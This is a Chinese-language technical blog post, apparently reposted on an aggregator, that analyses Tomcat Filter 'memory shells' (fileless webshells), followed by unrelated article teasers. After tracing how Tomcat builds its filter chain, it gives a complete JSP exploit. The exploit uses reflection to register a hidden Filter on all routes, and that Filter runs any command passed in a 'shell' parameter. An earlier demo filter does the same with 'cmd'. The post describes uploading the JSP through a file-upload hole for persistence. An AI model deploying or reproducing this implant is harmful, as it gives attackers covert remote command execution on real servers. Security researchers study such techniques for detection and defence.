java Filter内存马分析

news2024/12/25 1:57:46

知识基础:

刚开始内存马的这块学习与反序列化并无太大关系,反而与javaweb,tomcat联系更加紧密。所以在学习内存马之前需要先了解JSP,java web的三大件,Servlet,Filter,Listener的基本知识和工作流程和Tomcat 架构的相关内容。

0x01 什么是Filter马

内存马就是无文件木马,无文件落地,它通常会存在进程,内存或者java虚拟机中,特点更加隐蔽,难以排查,并且也难以删除。而今天学习的Filter内存马是传统web应用型内存马,主要将恶意代码注入到过滤器中,当过滤器拦截servlet请求的参数时,过滤器中的恶意代码就会执行。

0x02 环境搭建

首先配置一个 servlet 的web项目,
 

图片


然后一直点下一步就好了,它会自动帮我们生成一个简单的servlet
pom.xml中导入tomcat相关依赖

<dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>9.0.38</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-websocket</artifactId>
            <version>9.0.38</version>
        </dependency>

方便之后调试代码,在这之后我们创建一个自定义的Filter过滤器

package com.example.memoryhorse;
import javax.servlet.*;
import java.io.IOException;

public class MyFilter implements Filter{
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤功能");
        servletRequest.setCharacterEncoding("utf-8");
        servletResponse.setCharacterEncoding("utf-8");
        servletResponse.setContentType("text/html;charset=UTF-8");
        filterChain.doFilter(servletRequest,servletResponse);
        System.out.println(servletRequest.getParameter("cmd"));
        Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));
    }
}

重写了doFilter方法,里面添加恶意代码,接收cmd参数,执行任意命令。web.xml中配置相关参数

<filter>
    <filter-name>MyFilter</filter-name>
    <filter-class>com.example.memoryhorse.MyFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>MyFilter</filter-name>
    <url-pattern>/MyFilter</url-pattern>
</filter-mapping>

这里我定义的是/MyFilter路由,在访问这个路由时,就会被我们自定义的过滤器拦截

0x03 Filter内存马探索

这个时候是不是就有点像内存马的样子,我们注册了一个恶意的 /MyFilter 路由,访问这个路由可以执行任意代码。测试一下
 

图片


成功弹出计算器,这也是注入Filter内存马的一个抽象的体现。然而在实际攻防场景中,我们不可能在别人服务器上插入自己自定义的过滤器,web.xml这个配置文件也不是那么容易修改,就算修改了配置文件也很好排查,起不到隐秘的效果,要想动态的注册Filter马,就必须弄清楚过滤器的创建和调用过程。

1.tomcat Filter 的流程分析

在MyFilter的doFilter方法里下个断点,访问/MyFilter路由,会被我们自定义的过滤器拦截,doFilter方法是处理过滤功能的方法,开始调试
 

图片


这个filterChain是一个过滤器链,通过调试看到里面存放着两个过滤器,一个是我们自定义的,一个是 tomcat 自带的,跟进它的doFilter方法
判断 Globals.IS_SECURITY_ENABLED 安全模式是否开启,这里判断false,
 

图片


跟进 internalDoFilter 方法
 

图片


filters 是过滤器链数组,取数组的下标,遍历过滤器,赋值给filterConfig
 

图片


此时的过滤器为WsFilter 调用它的doFilter方法,跟进看一下
 

图片


这里的判断 是否满足WebSocket握手的特殊条件,而且是否已经配置了相应的类来处理WebSocket连接,如果两个都不满足,然后回调用过滤器链中的下一个过滤器。继续跟进
又回到了 internalDoFilter 方法,此时pos=2,不满足if条件。也就是说当过滤器遍历完后,就会调用 service 方法处理具体的业务请求
 

图片


事实上可以定义多个过滤器,当拦截请求后,从filterChain 中一个个调用doFilter方法,最终执行 service 方法
那么Filter链是怎么一步步创建的,我们要注册一个恶意的Filter进去就需要了解Filter链的创建过程
 

图片


通过执行流可以看到不断调用 invoke 方法,跟进最后一个 invoke方法,也就是 StandardWrapperValve 类的 invoke 方法,
 

图片


这里已经创建好了 Filter链,往上翻代码,
 

图片


createFilterChain 就是创建Filter链的重要方法,进入到这个方法下个断点,开始调试
 

图片


这里实例化一个filterChain,设置了当前过滤器链中的 Servlet,然后获取当前 Servlet 包含在的上下文,从调式信息就可以看到是 StandardContext 对象,最后定义一个filterMaps 获取了当前上下文中的过滤器映射
 

图片


此时的filterMaps就获取到了两个过滤器,到后面会对filterMaps进行两次遍历
这段代码的目的是将根据 URL 和 Servlet 名称匹配的过滤器配置添加到过滤器链中,以确保在请求处理过程中应用适当的过滤器。匹配过滤器配置时,会检查 Dispatcher 类型、URL 和 Servlet 名称,然后将匹配的过滤器配置添加到过滤器链中。如果没有匹配的过滤器配置,继续处理下一个过滤器映射
 

图片


filterConfig 是通过调用context上下文的findFilterConfig方法获取,filterConfigs是一个Map,从里面拿
 

图片


最后通过 addFilter 方法将过滤器添加到链中。

2.攻击思路分析

过滤器是从filterConfigs这个Map里拿的,那么我们把恶意的Filter添加进 filterConfigs 里,等它取出来,添加到Filter链中就可以了,那么接下来怎么构造过滤器,也就是filterConfig,看调试信息
 

图片


首先获取上下文context,然后就是自定义的filter代码,最后一个filterDef就是对应web.xml中对filter的配置,fiterConfig的相关内容都是从context中得到

FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息
FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 和Filter 对象等信息
FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和 对应的 URLPattern

所以只要我们将filter ,FilterDefs,FilterMaps添加到FilterConfigs中就可以添加filter了
贴上别的师傅的流程图
 

图片


其中这里涉及到了几个类

ServletContext:
javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。并且它被所有客户端共享。 

ApplicationContext:
org.apache.catalina.core.ApplicationContext
对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。

StandardContext:
Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)

引用师傅的解释,当前这是前面tomcat架构的内容,所以基础内容还是要了解。

0x04 Filter内存马exp编写

通过反射创建上面需要的几个对象

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%


//请求对象 request 中获取 ServletContext 对象。
    ServletContext servletContext = request.getServletContext();
//ApplicationContextFacade 是 Spring 框架中的一个类,用于封装 Spring 的 Web 应用程序上下文。
    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
//通过反射获取上下文
    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
    applicationContextFacadeContext.setAccessible(true);


// context 字段,即 Spring 的应用程序上下文对象。通过反射获取到该字段的值,它被强制转换为 ApplicationContext 类型
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
//从 ApplicationContext 类中获取一个名为 "context" 的私有字段。这个字段存储了实际的 Spring 应用程序上下文对象
    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
    applicationContextContext.setAccessible(true);
    //类型转换standardContext,标准的web应用程序上下文
    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);


    //创建filterConfigs
    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
    String filterName = "Filter";
    if (hashMap.get(filterName)==null){
        //构造filter对象
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
                System.out.println("filter初始化");
            }
            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                servletRequest.setCharacterEncoding("utf-8");
                servletResponse.setCharacterEncoding("utf-8");
                servletResponse.setContentType("text/html;charset=UTF-8");
                filterChain.doFilter(servletRequest,servletResponse);
                System.out.println(servletRequest.getParameter("shell"));
                Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
                System.out.println("执行过滤");
            }
            @Override
            public void destroy() {
            }
        };
        //构造filterDef对象
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        //将过滤器的配置信息添加到应用程序上下文中
        standardContext.addFilterDef(filterDef);


        //构造filterMap对象
        FilterMap filterMap = new FilterMap();
        //添加映射的路由为所有请求
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        //将上述设置好的过滤器映射对象添加到 StandardContext 中,并将其插入到已有的过滤器映射之前
        standardContext.addFilterMapBefore(filterMap);


        //构造filterConfig
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);


        //将filterConfig添加到filterConfigs中,即可完成注入
        hashMap.put(filterName,applicationFilterConfig);
        response.getWriter().println("注入完成");
    }
%>

为什么要写jsp文件,因为在实际场景中,可以通过文件上传漏洞将这个jsp马上传上去完成内存马的注入。注释上写了,分步编写exp。
 

图片


注入成功后,我们对服务器访问任何请求,都会执行恶意代码。而且当jsp文件删除后,木马仍然有效。它存在当前的web应用上下文中,所以重启服务器就没了。

图片

没看够~?欢迎关注!

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1323800.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据可视化(附带操作实例)

一、主要目的&#xff1a; 数据可视化是关于图形或表格的数据展示&#xff0c;旨在借助图形化手段&#xff0c;清晰有效的传达与沟通信息。通过直观地传达关键内容与特征&#xff0c;从而实现对相当稀疏而又复杂的数据集的深入洞察。熟悉在Python开发环境中支持数据可视化环节…

【23真题】碰到这种超纲题,放宽心态。

哈喽大家好&#xff0c;现在这个时间节点&#xff0c;有很多同学开始刷真题了&#xff01;所以23真题系列正式启动&#xff01;小马哥将全面发布23真题及详细解析&#xff01; 另外之前分享过的“公式宝典”&#xff0c;还是希望大家可以自己提前打印出来&#xff0c;纸质才能…

爬虫入门--爬取电影TOP250-附源码解析

爬取电影TOP250 1 知识小课堂1.1 什么是爬虫1.2 爬虫能做什么 2 代码解析2.1 运行环境2.2 过程解析2.2.1 第一步&#xff1a;引入两个模块2.2.2 找到网址2.2.3 拉去页面全内容 2.2.42.3 完整代码 1 知识小课堂 1.1 什么是爬虫 爬虫&#xff0c;也叫网络蜘蛛&#xff0c;如果把…

教你windows10如何原生支持预览IPhone拍摄的HEIC格式照片

HEIC是新出的一种图像格式&#xff0c;苹果的iOS 11更新后&#xff0c;iPhone 7及其后硬件&#xff0c;在拍摄照片时默认存储为HEIC格式。与JPG相比&#xff0c;它占用的空间更小&#xff0c;画质更加无损。HEIC格式照片支持iOS11及macOS High Sierra&#xff08;10.13&#xf…

Linux运维工程师面试题汇总

一、linux 1.linux系统启动流程 第一步&#xff1a;开机自检&#xff0c;加载BIOS第二步&#xff1a;读取&#xff2d;&#xff22;&#xff32;第三步&#xff1a;Boot Loader grub引导菜单第四步&#xff1a;加载kernel内核第五步&#xff1a;init进程依据inittab文件夹来…

好家伙,这个开源项目硬生生复制了一个 ChatGPT Plus 出来

最近有一款聊天机器人框架 Lobe Chat 火出了天际&#xff0c;它不仅支持多模态&#xff0c;支持语音会话&#xff0c;还有一个强大的 Function Calling 插件生态系统&#xff08;可以作为 ChatGPT 插件的平替&#xff09;。最重要的是&#xff0c;它的 UI 很漂亮&#xff0c;一…

电压放大器性能有什么特点

电压放大器是一种常见的电子设备&#xff0c;用于将输入信号的电压放大到所需的输出电压。它在各种领域中被广泛应用&#xff0c;如音频放大器、通信系统和控制系统等。 电压放大器的性能特点对于实际应用非常重要。下面将详细介绍电压放大器的几个关键性能特点。 增益&#xf…

Mac m系列芯片配置多版本的Java环境

本地已安装 JDK8&#xff0c;现在需要配置一下 JDK21&#xff0c;以支持未来的工作&#xff0c;同时实现动态切换 JDK 版本&#xff0c;顺便在此记录过程 ~ 话不多说 直接上货 下载 JAVA 21 Java Downloads | Oracle 中国 傻瓜式安装 成功后使用 “command 空格” 组合键&am…

VUE实现购物商城网站前端源码

文章目录 1.设计来源1.1 登录注册页面1.2 主界面1.3 列表界面1.4 详细界面1.5 购物车界面 2.源码2.1源码目录结构2.2源码下载 作者&#xff1a;xcLeigh 文章地址&#xff1a;https://blog.csdn.net/weixin_43151418/article/details/135054910 VUE实现购物商城网站前端源码&…

第80讲:GTID全局事务标识符的基本概念以及在Binlog中应用GTID

文章目录 1.GTID的基本概念1.1.为什么要引入GTID1.2.什么是GTID 2.开启GTID全局事务标识符的功能3.模拟产生Binlog日志观察开启GTID功能的区别3.1.模拟产生Binlog日志3.2.观察Binlog日志中的事件信息3.2.观察节点状态有什么变化3.3.观察Binlog日志会有什么变化 4.使用GTID来截取…

Compose——下拉刷新、上拉加载更多

效果图&#xff1a; 主要的代码为&#xff1a; package com.yaona.compose_list_shangla.swipeimport androidx.compose.foundation.Image import androidx.compose.foundation.layout.* import androidx.compose.foundation.lazy.LazyColumn import androidx.compose.foundat…

Linux 操作系统(Vim)

vim 编译器&#xff08;相当于windows中记事本&#xff09; 当在终端窗口直接运行vim命令&#xff0c;会出现以下截图&#xff08;类似手册对vim编译器简单的介绍&#xff09;&#xff1a; vim提供三种基本工作模式&#xff1a; 命令模式(默认模式) 插入模式 末行模式 创建文本…

字节跳动的辉煌与波澜:兴衰成败的深度剖析

导言 字节跳动作为一家全球知名的科技公司&#xff0c;其在短视频领域的崛起备受瞩目。然而&#xff0c;随着时间的推移&#xff0c;公司也面临了一系列挑战。本文将深入研究字节跳动的兴衰成败&#xff0c;以及公司在发展过程中所面临的困境和成功之道。 1. 创业初期与初见成绩…

2023 英特尔On技术创新大会直播 |我感受到的AI魅力

文章目录 前言英特尔技术创新大会 的来历芯生无限 赋能AI创新后记 前言 近年来&#xff0c;人工智能&#xff08;Artificial Intelligence&#xff09;的应用与发展呈现出爆发式增长的态势&#xff0c;成为科技领域最为引人注目的热门话题之一。作为全球领先的半导体公司&…

SpringIOC之AnnotatedElementKey

博主介绍&#xff1a;✌全网粉丝5W&#xff0c;全栈开发工程师&#xff0c;从事多年软件开发&#xff0c;在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战&#xff0c;博主也曾写过优秀论文&#xff0c;查重率极低&#xff0c;在这方面有丰富的经验…

C语言——高精度乘法

一、引子 高精度乘法相较于高精度加法和减法有更多的不同&#xff0c;加法和减法是一位对应一位进行操作的&#xff0c;而乘法是一个数的每一位对另一个数的每一位进行操作&#xff0c;需要的计算步骤更多。 二、核心算法 void Calculate(int num1[], int num2[], int numres…

从零开始的Docker Desktop使用,Docker快速上手,Docker介绍和基础使用

目录 1 Docker简介和安装和基础配置1.1 Docker简介1.2 安装Docker Desktop1.3 换源1.4 Docker基础使用1.5 对Docker操作1.5.1 获取当时所有镜像(docker images)1.5.2 拉镜像(docker pull)1.5.3 删除镜像(docker rmi)1.5.4加载镜像(docker run) 1.6 使用交互式容器1.6.1 查看容器…

【2023 英特尔On技术创新大会直播 |我与英特尔的初次相遇】—— AIPC探索下一代的物联网时代

&#x1f308;个人主页: Aileen_0v0 &#x1f525;系列专栏:英特尔技术学习专栏 &#x1f4ab;个人格言:"没有罗马,那就自己创造罗马~" 目录 硅谷经济的发展与挑战 Intel开发者云与AI技术的应用 AI压缩技术的发展与应用 英特尔与阿里巴巴在AI领域的合作 AIPC时代的…

司铭宇老师:销售经理培训课程内容

销售经理是销售团队的核心领导&#xff0c;他们的能力和素质直接影响到整个团队的绩效。针对销售经理的培训课程内容应涵盖多个方面&#xff0c;旨在提升销售经理的领导力、团队管理能力、沟通技巧和市场分析能力。以下是一篇关于针对销售经理的培训课程内容的文章&#xff0c;…

逻辑回归代价函数

逻辑回归的代价函数通常使用交叉熵损失来定义。这种损失函数非常适合于二元分类问题。 本篇来推导一下逻辑回归的代价函数。 首先&#xff0c;我们在之前了解了逻辑回归的定义&#xff1a;逻辑回归模型是一种用于二元分类的模型&#xff0c;其预测值是一个介于0和1之间的概率…